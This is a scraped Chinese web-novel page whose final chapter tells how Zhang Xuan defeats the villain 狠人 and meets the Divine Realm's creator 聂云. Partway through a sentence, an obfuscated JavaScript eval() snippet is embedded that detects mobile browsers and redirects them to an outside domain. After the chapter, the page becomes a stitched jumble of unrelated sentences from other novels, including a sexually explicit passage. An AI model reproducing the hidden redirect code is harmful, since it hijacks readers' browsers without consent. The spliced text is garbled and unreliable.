“所以说,这个世界上从来没有童话,有的就是门当户对的联姻,白富美配高富帅。”有人感叹。 随着污浊异力的上涌,本生活在第四界、第三界的凡夫俗子,被接引到第二界的各大碎地,天天惶惶不可终日。 林乔明白了怪物的忍耐力和惊人的意志力,祂不会吃掉自己,祂对自己的喜爱比她对祂要多的多。 第一百一十六章 送乌行(26) 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168072|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百一十七章 跨海行(1) 李定以战帅身份定下方略,乃是三面围住长安,然后招降。 而不待全军出动,围住长安,张行便毫不迟疑在李龙头起草的文字上签了名,正式发布了他登基后的第一道圣旨,乃是宣布时过境迁,之前所有招降布告与私信约降作废。 从发布了圣旨内容的布告射入城内开始重新计算,三日内出城而降者,官吏由新朝择选任用, 院内众人神情各异,明知道苏菡一在吓唬人,可还是觉得被恶心到了。 两人之间是同学关系,她从来都没有得罪他,他为什么要绑架她? 路遥颤抖了一下,周围方才还嘈杂成了一片,乱糟糟的、此起彼伏的哭声和求救声,此刻竟然销声匿迹了。 险些把叶繁吓得半死,这东西会放雷,一击将人击毙,还令人来不及叫出声。 炼丹师的战力虽然不比武者,可他五品炼丹师的修为,却相当于武王强者,即便斗不过武王也不是一般人可以攀比。 只是片刻的功夫,那集合了龙宫八大太子联袂一击的力量,便被那一道金灿灿的大手印给击散了,但大手印的力量却还未消尽,依旧按照原定的轨迹,向龙宫八大太子拍了过去。 各种金贵的东西摆放在一起,完全没有凌乱繁杂的感觉,更给人一种眼前一亮的感觉。 话音方落,一名神将便是领了命令,拿了兵符便是转身离开,迅速的准备去了。 事发后方言也曾查探过那件货物的信息,发现是一面类似古代道士在进行斋仪时所使用的令符般的物品,是被约翰的一个下属当做普通的古物给收集上来的,具体的出处早已不可探寻。 所以秦昊被擒等于将汉军置于一个及其被动的局面,无论汉军如何应对都对黄巾有利,这张良没有丝毫怀疑的最大原因。 刘光同话音才落下,崔旻便已解下佩刀,三步并作两步,交到了刘光同手中去。 这次能亲自来坐镇剿灭魔族基地,估计多半也是为了带卓越出来见识一下,其次才是为了以防万一。 这一次却是连疤脸老者也笑了,他直接叫住了朱朗轮,“朱师弟,这一次你可得信你喜师兄一次了,他说得一点不假,这一次你真得可以有半年的悠闲时光了。”说着话,眼光也同样落在了柳玄身上。 江中博道,“你看,你越扯越远了,我不是还在征求你意见嘛,当然主要还是看两个孩子的意见,对不对,咱大人说话,孩子不听,不是也没办法吗?“。 “吃个屁。” 潘松很想对丁世平发火,可是还是忍了下来,这个时候应该是团结。 并不是她看不上两家人,只是不愿意成为周氏手中的棋子,成为她哥哥们的垫脚石而已。 薛成娇脚步一滞,看了崔瑜半天,终于是点了点头,没多说什么,径直离开了。 面对莫德里奇的卡位,彭浪珺高速带球中突然的玩起了马赛回旋,一个转身拉球再转身,彻底把猝不及防的莫德里奇甩在身后。 “困了?”姜阮感知极强,仲孙沅的表现与往日并无不同,但他却觉得有些不对劲。 屋子里,柳眉身穿白色婚纱的柳眉躺在床上,一对傲乳已经从抹胸的遮拦中解放出来,完全暴露在空气之中。她的左手握着左乳轻轻地捏搓着,而右手则按在大腿间轻轻揉动,而嘴里则是不停地喊着林枫的名字。 第一百一十八章 跨海行(2) 曹铭一开始是没想着真哭真跪的……他愿意过来,是因为他知道张行说的对,这些大魏忠臣到了眼下没必要牺牲,他能救人就不该推辞。 萧太后也认可,不然也不会专门熬夜写了好多信。 然而,当回到青少年到成年长久居住的东都,当见到白发如雪的苏巍那一刻时,想到死掉没多久的骨仪,更兼想到自己那个爹做的那些孽 “东家,我们实在是忙不过来,不过,这豆苗可真是该追肥了。”老周说道。 “你放心好了。我给他们准备的盘缠和细软足够在买一处房产……”程名振不得不转过身来,笑着安慰。在巧儿的目光中,他看到了重重的焦虑和不安。 阶梯之上,那是一个圆形封闭大厅,穹顶约五米高,直径约八米,如果换一个场合,这样的面积只能算是普通会议厅的规格,可是这里注定不同,因为它是通道的尽头,它是传说中那处所在。 子一天一天过去,北河总督的位子仍是迟迟没有落世武动静却越发大了。 耳边若隐若无的歌谣嘎然而止,十一个亡灵从雾气的深处里走出,分别入座。 两人穿过静悄悄的院子,那灯笼的光芒还是引起西厢人的注意,便叫少爷少奶奶。 两个医生巡视到宗少中的病房时,发现宗少中人处在中度昏迷之中,立即把宗少中送到了急救室。 “你这丫头嘴巴今天抹蜜了?!”柳儿回头,没好气地翻了下白眼。 “你爹也是这意思,推了,我想着,等你妹夫放假了,不如咱们摆酒请请她一家子罢了。”沈氏说道。 这时。嫣然生病的消息已传到沈氏那边去了,曾瑞祥和沈氏还有子寿和杨氏都过来探视孩子。 掌柜的先是摇了摇头,然后又重重的点了点头,一副想走又不敢离开的样子。我心情大好,又想调戏他一会儿时,就见面具男一言不发的从楼上下来,看都没看我一下的直径往外走去。 几天的决斗,能够用出的绝招,当然早已用了出來,现在,能够拼的,除了耐力,就是意志! 王杰心中难免有些紧张,不在有所停留,化为一道流光,对着那外界急速掠去。 王固身边的手下一见主人发话了,三个年轻人便向张天成扑了上来。 